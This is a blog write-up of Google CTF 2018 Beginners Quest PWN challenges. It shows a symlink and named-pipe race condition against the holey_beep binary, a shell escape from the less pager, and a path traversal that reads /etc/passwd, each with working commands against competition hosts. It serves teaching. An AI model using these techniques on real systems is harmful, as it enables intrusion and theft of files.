<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">v1</span><span class="p">;</span>
<span class="n">v1</span> <span class="o">=</span> <span class="n">argv</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">signal</span><span class="p">(</span><span class="mi">15</span><span class="p">,</span> <span class="n">handle_sigterm</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">__sighandler_t</span><span class="p">)</span><span class="o">-</span><span class="mi">1LL</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"signal"</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o"><=</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"usage: holey_beep period1 [period2] [period3] [...]"</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">argc</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">device</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"dev/console"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">v1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">((</span><span class="kt">signed</span> <span class="kt">int</span><span class="p">)</span><span class="n">device</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"open(</span><span class="se">\"</span><span class="s">dev/console</span><span class="se">\"</span><span class="s">, O_RDONLY)"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Let’s continue exploring the application.</p>
<p align="center"><a href="/images/gctf18-pwn2-26.png"><img src="/images/gctf18-pwn2-26.png" /></a></p>
<p>Here we see that after the <code class="language-plaintext highlighter-rouge">open</code> function is called and is successful, <a href="https://www.tutorialspoint.com/c_standard_library/c_function_atoi.htm">atoi</a> is called against the <code class="language-plaintext highlighter-rouge">argv</code> parameter and sets the output to a new variable.</p>
<p>Then it check is the <a href="https://stackoverflow.com/questions/15807846/ioctl-linux-device-driver">ioctl</a> or input-output control is less than 0, if so it prints an error via <a href="https://www.tutorialspoint.com/c_standard_library/c_function_fprintf.htm">fprint</a>. If not it closes the device via the <a href="http://codewiki.wikidot.com/c:system-calls:close">close</a> function.</p>
<p>So the full C code for this application should be as follows.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">v1</span><span class="p">;</span>
<span class="n">v1</span> <span class="o">=</span> <span class="n">argv</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">signal</span><span class="p">(</span><span class="mi">15</span><span class="p">,</span> <span class="n">handle_sigterm</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">__sighandler_t</span><span class="p">)</span><span class="o">-</span><span class="mi">1LL</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"signal"</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o"><=</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"usage: holey_beep period1 [period2] [period3] [...]"</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">argc</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">device</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"dev/console"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">v1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">((</span><span class="kt">signed</span> <span class="kt">int</span><span class="p">)</span><span class="n">device</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"open(</span><span class="se">\"</span><span class="s">dev/console</span><span class="se">\"</span><span class="s">, O_RDONLY)"</span><span class="p">);</span>
<span class="n">v2</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">v1</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">device</span><span class="p">,</span> <span class="mh">0x4B2FuLL</span><span class="n">m</span><span class="p">,</span> <span class="n">v2</span><span class="p">)</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"ioctl(%d, KIOCSOUND, %d) failed."</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">device</span><span class="p">,</span> <span class="n">v2</span><span class="p">);</span>
<span class="n">close</span><span class="p">(</span><span class="n">device</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Alright, so we got most of the code, but we are still missing part of it. We still don’t know what the <code class="language-plaintext highlighter-rouge">handle_sigterm</code> function is doing. So let’s dig into that by double clicking it.</p>
<p align="center"><a href="/images/gctf18-pwn2-27.png"><img src="/images/gctf18-pwn2-27.png" /></a></p>
<p>So we can see that this function checks to see if the device is less than or equal to 0, and if the <code class="language-plaintext highlighter-rouge">ioctl</code> of the device us less then 0. If so it prints out debug data that seems to be of 1023 bytes or <code class="language-plaintext highlighter-rouge">3FF</code> in hex which is passed to the buffer via the <a href="http://codewiki.wikidot.com/c:system-calls:read">read</a> function.</p>
<p>The code for this function can be seen as such.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">__noreturn</span> <span class="nf">handle_sigterm</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">;</span>
<span class="k">if</span> <span class="p">((</span><span class="kt">signed</span> <span class="kt">int</span><span class="p">)</span><span class="n">device</span> <span class="o">>=</span> <span class="mi">0</span> <span class="o">&&</span> <span class="n">ioctl</span><span class="p">(</span><span class="n">device</span><span class="p">,</span> <span class="mh">0x4B2FuLL</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">)</span> <span class="o"><</span> <span class="mi">0</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"ioctl(%d, KIOCSOUND, 0) failed."</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">device</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">buf</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x400uLL</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="n">device</span><span class="p">,</span> <span class="o">&</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x3FFuLL</span><span class="p">);</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"debug_data: </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s">"</span><span class="p">,</span> <span class="o">&</span><span class="n">buf</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Awesome, so we know how this whole application functions! We also know what there is an bug with the <code class="language-plaintext highlighter-rouge">open</code> function when it tries to open <code class="language-plaintext highlighter-rouge">dev/console</code>, which means we can possibly create a file such as <code class="language-plaintext highlighter-rouge">/tmp/dev/console</code> and launch the binary from <code class="language-plaintext highlighter-rouge">tmp</code> then it will launch the console from our directory. This <code class="language-plaintext highlighter-rouge">console</code> file can then be a symbolic link to our flag!</p>
<p>Once that’s done we then need to somehow figure out a way to send a <a href="https://www.gnu.org/software/libc/manual/html_node/Termination-Signals.html">SIGTERM</a> signal (<code class="language-plaintext highlighter-rouge">kill -15</code>) so that it actually reads the flag and outputs the contents.</p>
<p>So for this signal to be sent in the proper location we can utilize a possible race condition exploit in this application. Since the application takes in arguments via <code class="language-plaintext highlighter-rouge">for (i = 1; i < argc; ++i)</code> then we can try and send multiple arguments to make the loop slow, and then attempt to send the kill signal.</p>
<p>For this race condition we can use the <a href="https://ss64.com/bash/seq.html">seq</a> function to send multiple arguments from 1 to oh I don’t know, like 5000. We can also cause this to be way slower by abusing the <code class="language-plaintext highlighter-rouge">fprintf</code> function.</p>
<p>Notice how the <code class="language-plaintext highlighter-rouge">fprintf</code> function only outputs to <a href="https://www.computerhope.com/jargon/s/stderr.htm">stderr</a>. So what we can do is redirect this standedr output of errors to a named pipe such as <a href="https://linux.die.net/man/3/mkfifo">mkfifo</a>, then as soon as the kernel buffer for that pipe fills up, it will stop and freeze until it’s read from the other side. And as long as we don’t read from the other side, we then allow ourselves to abuse this race condition to send the kill signal.</p>
<p>So with that knowledge, let’s use our previous exploit to get a shell, and navigate to the <code class="language-plaintext highlighter-rouge">/tmp</code> folder.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">></span><span class="w"> </span><span class="nv">$ </span>sh
<span class="gp">$</span><span class="w"> </span><span class="nb">cd</span> /tmp
</code></pre></div></div>
<p>From there let’s make a new directory called <code class="language-plaintext highlighter-rouge">dev</code>. Once the folder is created let’s make a new symbolic link to from the <code class="language-plaintext highlighter-rouge">secret_cake_recipe</code> file to <code class="language-plaintext highlighter-rouge">/tmp/dev/console</code> - since remember, we want to abuse <code class="language-plaintext highlighter-rouge">dev/console</code> that’s hard coded.</p>
<p>Then let’s make a new named pipe called <code class="language-plaintext highlighter-rouge">fake</code> in the <code class="language-plaintext highlighter-rouge">tmp</code> folder which will be used for our race condition.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">mkdir </span>dev
<span class="gp">$</span><span class="w"> </span><span class="nb">ln</span> <span class="nt">-s</span> /secret_cake_recipe /tmp/dev/console
<span class="gp">$</span><span class="w"> </span><span class="nb">mkfifo</span> /tmp/fake
<span class="gp">$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 4
drwxrwxrwt 3 user user 80 Mar 1 01:12 .
drwxr-xr-x 22 user user 4096 Oct 24 19:10 ..
drwxr-xr-x 2 user user 60 Mar 1 01:12 dev
prw-r--r-- 1 user user 0 Mar 1 01:12 fake
</span><span class="gp">$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span> dev
<span class="go">total 0
drwxr-xr-x 2 user user 60 Mar 1 01:12 .
drwxrwxrwt 3 user user 80 Mar 1 01:12 ..
</span><span class="gp">lrwxrwxrwx 1 user user 19 Mar 1 01:12 console -></span><span class="w"> </span>/secret_cake_recipe
</code></pre></div></div>
<p>Once we have all that set up, we can now exploit the race condition.</p>
<p>We will start by calling the <code class="language-plaintext highlighter-rouge">holey_beep</code> binary, provide it a lot of arguments via the <code class="language-plaintext highlighter-rouge">seq</code> function, redirect the standard error to our named pipe, and finally allow all that to run in the background via the <code class="language-plaintext highlighter-rouge">&</code> parameter since we need to get the binary’s <a href="http://www.linfo.org/pid.html">pid</a> so we can send our signal.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>/home/user/holey_beep <span class="si">$(</span><span class="nb">seq </span>1 1 5000<span class="si">)</span> 2> /tmp/fake &
</code></pre></div></div>
<p>Once that’s called, we will then want to call a <a href="http://man7.org/linux/man-pages/man3/sleep.3.html">sleep</a> function that will wait some time, and then once that time is over, we will read the standard input of the named pipe.</p>
<p>The reason we do this is because our flag will be somewhere in that buffer since <code class="language-plaintext highlighter-rouge">handle_sigterm</code> writes the debug data to stander error as well. Once we send the kill function it should trigger the symbolic link and read the flag which should be sent to our named pipe and then printed out on our side.</p>
<p>We will run this sleep function again in the background so we can get the <code class="language-plaintext highlighter-rouge">pid</code> of the <code class="language-plaintext highlighter-rouge">holey_beep</code> file. To do that we will use the <a href="https://linux.die.net/man/1/pgrep">pgrep</a> function.</p>
<p>Alright, with that let’s go ahead and execute the following sleep function, get the process id of the binary, and then send the kill signal.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="o">(</span> <span class="nb">sleep </span>30<span class="p">;</span> <span class="nb">cat</span> - <span class="o">)</span> < /tmp/fake &
<span class="gp">$</span><span class="w"> </span>pgrep holey_beep
<span class="go">13
</span><span class="gp">$</span><span class="w"> </span><span class="nb">kill</span> <span class="nt">-15</span> 13
</code></pre></div></div>
<p>Once completed wait a few seconds and you should then get output on your screen from the named pipe.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">---trim---
4, KIOCSOUND, 2016) failed.ioctl(4, KIOCSOUND, 2017) failed.ioctl(4, KIOCSOUND, 2018) failed.ioctl(4, KIOCSOUND, 0) failed.debug_data: "== Secret recipe for the CTF{the_cake_wasnt_a_lie} cake ==
The Pittsburgh Engineer’s Cake (This is the maximum of the final Gaussian Process model, trained
on all the Pittsburgh Trials, including transfer learning.)
Mix together flour, baking soda, and cayenne pepper. Then, mix the sugar, egg, butter (near refrigerator
</span><span class="gp">temperature), and other ingredients until nearly smooth;</span><span class="w"> </span>it takes about 2 minutes <span class="k">in </span>a counter-top stand mixer
<span class="gp">with a flat paddle blade. Add the dry ingredients and mix just until the dough is uniform;</span><span class="w"> </span><span class="k">do </span>not over-mix. Spoon
<span class="gp">out onto parchment paper (we used a #</span>40 scoop, 24 milliliters<span class="o">)</span>, and bake <span class="k">for </span>14 minutes at 175C <span class="o">(</span>350◦
<span class="go">F).
• 167 grams of all-purpose flour.
• 186 grams of dark chocolate chips.
• 1/2 tsp. baking soda.
• 1/4 tsp. salt.
• 1/4 tsp. cayenne pepper.
• 262 grams of sugar (75% medium brown, 25% white).
• 30 grams of egg.
• 132 grams of butter.
• 3/8 tsp. orange extract.
• 1/2 tsp. vanilla extract.
https://research.google.com/pubs/archive/46507.pdf
</span></code></pre></div></div>
<p>And just like that, we exploited the race condition and got our flag!</p>
<p><strong>FLAG:</strong> CTF{the_cake_wasnt_a_lie}</p>
<h2 id="closing">Closing</h2>
<p>And there we have it ladies and gentleman, we completed the 2018 Google CTF: Beginners Quest!</p>
<p>I’ve got to say, that the final PWN challenges were actually very challenging, even for me! It just really goes to show you how many crazy vulnerabilities are out there in the wild and what it takes to find and exploit them.</p>
<p>This CTF was a great learning experience and I hope that it allowed you all to learn something new as well.</p>
<p>With that, I close this series of posts!</p>
<p>Thanks for reading!</p>Jack Halonjacek.halon@gmail.comIn my previous post “Google CTF (2018): Beginners Quest - PWN Solutions (1/2)”, we covered the first set of PWN solutions for the Beginners Quest, which touched on topics such as code injection, reverse engineering, buffer overflows, and format string exploits.Google CTF (2018): Beginners Quest - PWN Solutions (1/2)2019-02-22T00:00:00+00:002019-02-22T00:00:00+00:00https://jhalon.github.io/2018-google-ctf-beginners-pwn-solutions-1<p>In my previous post “<a href="https://jhalon.github.io/2018-google-ctf-beginners-re-solutions/">Google CTF (2018): Beginners Quest - Reverse Engineering Solutions</a>”, we covered the reverse engineering solutions for the 2018 Google CTF, which introduced vulnerabilities such as hardcoded data, and also introduced the basics for x86 Assembly.</p>
<p>In this post we will cover the first set of PWN solutions for the Beginners Quest, which touches on topics such as code injection, reverse engineering, <a href="https://www.owasp.org/index.php/Buffer_Overflow">buffer overflows</a>, and <a href="https://www.owasp.org/index.php/Format_string_attack">format string exploits</a>.</p>
<p>Thankfully for us I introduced the basics of x86 Assembly in my previous post via the <a href="http://www.cs.virginia.edu/~evans/cs216/guides/x86.html">x86 Assembly Guide</a>. I highly suggest you familiarize yourself with that if you already haven’t since the PWN challenges will require you to have at least some sort of understanding.</p>
<p>Also, if you aren’t familiar with format string exploits, I suggest you go watch LiverOverflows “<a href="https://www.youtube.com/watch?v=0WvrSfcdq1I">A simple Format String exploit example - bin 0x11</a>” video which covers this vulnerability pretty well.</p>
<p>Once you got some basic understanding of x86 ASM, Buffer Overflows and Format Strings, we can jump right into the challenges!</p>
<h2 id="moar">Moar</h2>
<p align="center"><a href="/images/gctf18-pwn-1.png"><img src="/images/gctf18-pwn-1.png" /></a></p>
<p>Upon reading the challenge description we learn that we got access to the Foobaziner9000 machine. Unfortunately it seems that the computer is complicated, but to assist us it seems to also be serving manual pages through a network service. Once again, the devil is in the details as the description states that “<strong>everything you need is in the manual</strong>”.</p>
<p>Alright, with that in mind we see that we can access the manual pages service via <code class="language-plaintext highlighter-rouge">moar.ctfcompetition.com</code> on port <code class="language-plaintext highlighter-rouge">1337</code>. Let’s use netcat to connect to that service and see what it has to offer.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF#</span><span class="w"> </span>nc moar.ctfcompetition.com 1337
<span class="go">socat(1) socat(1)
NAME
socat - Multipurpose relay (SOcket CAT)
SYNOPSIS
</span><span class="gp"> socat [options] <address></span><span class="w"> </span><address>
<span class="go"> socat -V
socat -h[h[h]] | -?[?[?]]
filan
procan
DESCRIPTION
Socat is a command line based utility that establishes two bidirec-
tional byte streams and transfers data between them. Because the
streams can be constructed from a large set of different types of data
sinks and sources (see address types), and because lots of address
options may be applied to the streams, socat can be used for many dif-
ferent purposes.
Filan is a utility that prints information about its active file
descriptors to stdout. It has been written for debugging socat, but
might be useful for other purposes too. Use the -h option to find more
Manual page socat(1) line 1 (press h for help or q to quit)
</span></code></pre></div></div>
<p>Okay, so it seems we got a manual page about <a href="https://linux.die.net/man/1/socat">socat</a>, but don’t let this fool you into thinking that we have to exploit socat, because we don’t!</p>
<p>Right away I notice that the manual page is being printed out by the <a href="https://linux.die.net/man/1/less">less</a> function. If we were to look into the manual pages for <code class="language-plaintext highlighter-rouge">less</code>, we should find the following in the commands section.</p>
<blockquote>
<p>! shell-command</p>
<p>Invokes a shell to run the shell-command given. A percent sign (%) in the command is replaced by the name of the current file. A pound sign (#) is replaced by the name of the previously examined file. “!!” repeats the last shell command. “!” with no shell command simply invokes a shell. On Unix systems, the shell is taken from the environment variable SHELL, or defaults to “sh”. On MS-DOS and OS/2 systems, the shell is the normal command processor.</p>
</blockquote>
<p>So what this means is that we can type in an exclamation mark (<code class="language-plaintext highlighter-rouge">!</code>) followed by a shell command to execute commands on the server.</p>
<p>Let’s see if this is possible! We can try running the <code class="language-plaintext highlighter-rouge">ls -la</code> command to list all the files in the current working directory of the server.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go"> Manual page socat(1) line 1 (press h for help or q to quit)!ls -la
!ls -la
total 76
drwxr-xr-x 21 moar moar 4096 Oct 24 19:10 .
drwxr-xr-x 21 moar moar 4096 Oct 24 19:10 ..
-rwxr-xr-x 1 nobody nogroup 0 Oct 24 19:05 .dockerenv
drwxr-xr-x 2 nobody nogroup 4096 Jun 14 2018 bin
drwxr-xr-x 2 nobody nogroup 4096 Apr 12 2016 boot
drwxr-xr-x 4 nobody nogroup 4096 Oct 24 19:05 dev
drwxr-xr-x 44 nobody nogroup 4096 Oct 24 19:05 etc
drwxr-xr-x 3 nobody nogroup 4096 Jun 14 2018 home
drwxr-xr-x 8 nobody nogroup 4096 Sep 13 2015 lib
drwxr-xr-x 2 nobody nogroup 4096 Apr 17 2018 lib64
drwxr-xr-x 2 nobody nogroup 4096 Apr 17 2018 media
drwxr-xr-x 2 nobody nogroup 4096 Apr 17 2018 mnt
drwxr-xr-x 2 nobody nogroup 4096 Apr 17 2018 opt
dr-xr-xr-x 111 nobody nogroup 0 Feb 9 02:16 proc
drwx------ 2 nobody nogroup 4096 Apr 17 2018 root
drwxr-xr-x 5 nobody nogroup 4096 Apr 17 2018 run
drwxr-xr-x 2 nobody nogroup 4096 Apr 27 2018 sbin
drwxr-xr-x 2 nobody nogroup 4096 Apr 17 2018 srv
drwxr-xr-x 2 nobody nogroup 4096 Feb 5 2016 sys
drwxrwxrwt 2 moar moar 40 Feb 9 02:16 tmp
drwxr-xr-x 10 nobody nogroup 4096 Apr 17 2018 usr
drwxr-xr-x 11 nobody nogroup 4096 Apr 17 2018 var
</span></code></pre></div></div>
<p>Awesome, it worked! So we found our command injection. Let’s see what’s in the <code class="language-plaintext highlighter-rouge">home</code> folder.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">!ls -la /home
total 12
drwxr-xr-x 3 nobody nogroup 4096 Jun 14 2018 .
drwxr-xr-x 21 moar moar 4096 Oct 24 19:10 ..
drwxr-xr-x 2 nobody nogroup 4096 Jun 29 2018 moar
!done (press RETURN)!ls -la /home/moar
!ls -la /home/moar
total 24
drwxr-xr-x 2 nobody nogroup 4096 Jun 29 2018 .
drwxr-xr-x 3 nobody nogroup 4096 Jun 14 2018 ..
-rw-r--r-- 1 nobody nogroup 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 nobody nogroup 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 nobody nogroup 655 May 16 2017 .profile
-r-xr-xr-x 1 nobody nogroup 695 Jun 26 2018 disable_dmz.sh
</span></code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">disable_dmz.sh</code> file looks interesting, let’s read it and find out what’s inside!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">!done (press RETURN)!cat /home/moar/disable_dmz.sh
!cat /home/moar/disable_dmz.sh
</span><span class="gp">#</span><span class="o">!</span>/bin/sh
<span class="go">
</span><span class="gp">#</span><span class="w"> </span>Copyright 2018 Google LLC
<span class="gp">#</span><span class="w">
</span><span class="gp">#</span><span class="w"> </span>Licensed under the Apache License, Version 2.0 <span class="o">(</span>the <span class="s2">"License"</span><span class="o">)</span><span class="p">;</span>
<span class="gp">#</span><span class="w"> </span>you may not use this file except <span class="k">in </span>compliance with the License.
<span class="gp">#</span><span class="w"> </span>You may obtain a copy of the License at
<span class="gp">#</span><span class="w">
</span><span class="gp">#</span><span class="w"> </span>https://www.apache.org/licenses/LICENSE-2.0
<span class="gp">#</span><span class="w">
</span><span class="gp">#</span><span class="w"> </span>Unless required by applicable law or agreed to <span class="k">in </span>writing, software
<span class="gp">#</span><span class="w"> </span>distributed under the License is distributed on an <span class="s2">"AS IS"</span> BASIS,
<span class="gp">#</span><span class="w"> </span>WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
<span class="gp">#</span><span class="w"> </span>See the License <span class="k">for </span>the specific language governing permissions and
<span class="gp">#</span><span class="w"> </span>limitations under the License.
<span class="go">
echo 'Disabling DMZ using password CTF{SOmething-CATastr0phic}'
</span><span class="gp">echo CTF{SOmething-CATastr0phic} ></span><span class="w"> </span>/dev/dmz
</code></pre></div></div>
<p>And just like that we found the flag, an easy start!</p>
<p><strong>FLAG:</strong> CTF{SOmething-CATastr0phic}</p>
<h2 id="admin-ui">Admin UI</h2>
<p align="center"><a href="/images/gctf18-pwn-2.png"><img src="/images/gctf18-pwn-2.png" /></a></p>
<p>Upon reading the challenge description we learn that after compromising the Foobaziner9000 we were able to remove it from the DMZ. This gave us access to a new device which seems to be a smart home temperature control unit. Fortunately for us it seems that the management interface looks to be filled with bugs, hence all the talk on the dark net.</p>
<p>Alright, knowing that there might be a few bugs in the interface, let’s connect to the service provided to us via netcat.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>nc mngmnt-iface.ctfcompetition.com 1337
<span class="go">=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
</span></code></pre></div></div>
<p>Right from the start we see that we have three choices. The <code class="language-plaintext highlighter-rouge">Service access</code> option looks promising, let’s see what it does.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
1
Please enter the backdoo^Wservice password:
admin
Incorrect, the authorities have been informed!
</span></code></pre></div></div>
<p>Okay, so it seems that we need a valid password for the service access. Let’s leave that for later and try the second option to read the patch notes.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Admin UI#</span><span class="w"> </span>nc mngmnt-iface.ctfcompetition.com 1337
<span class="go">=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
Version0.2
</span><span class="gp">#</span><span class="w"> </span>Release 0.2
<span class="go"> - Updated library X to version 0.Y
- Fixed path traversal bug
- Improved the UX
</span></code></pre></div></div>
<p>Upon reading the patch notes, we can see this golden piece of information: <code class="language-plaintext highlighter-rouge">Fixed path traversal bug</code>. For those unfamiliar with <a href="https://www.owasp.org/index.php/Path_Traversal">path traversals</a> it’s simply a vulnerability that allows you to access files and directories stored outside the current folder.</p>
<p>Unfortunately, it seems to have been patched, but that doesn’t mean we shouldn’t attempt to exploit it. Let’s see if we can read the <code class="language-plaintext highlighter-rouge">/etc/passwd/</code> file.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
user:x:1337:1337::/home/user:
</span></code></pre></div></div>
<p>Awesome! So the vulnerability wasn’t properly patched and we can read files on the system. Unfortunately for us, we’re kind of blind here as we don’t know where the other files on the system might be, or what they might be called.</p>
<p>But, we have a secret weapon! Since we’re connecting to a running service and can read files, we can try to read the <a href="http://man7.org/linux/man-pages/man5/proc.5.html">proc</a> filesystem which provides an interface to kernel data structures. It is commonly mounted at <code class="language-plaintext highlighter-rouge">/proc</code> and can actually reveal a lot about the current process that’s running.</p>
<p>If we look into the <code class="language-plaintext highlighter-rouge">proc</code> manual pages, we can find the following in the “<strong>files and directories</strong>” portion.</p>
<blockquote>
<p>/proc/[pid]/cmdline</p>
<p>This read-only file holds the complete command line for the process, unless the process is a zombie. In the latter case, there is nothing in this file: that is, a read on this file will return 0 characters. The command-line arguments appear in this file as a set of strings separated by null bytes (‘\0’), with a further null byte after the last string.</p>
</blockquote>
<p>By reading this file, we should be able to see what the name of the executable is and should also see the location that it’s being run from. If we find that out, we can then use the path traversal vulnerability to read the binary and dump it’s contents to our local machine, which can then be reverse engineered.</p>
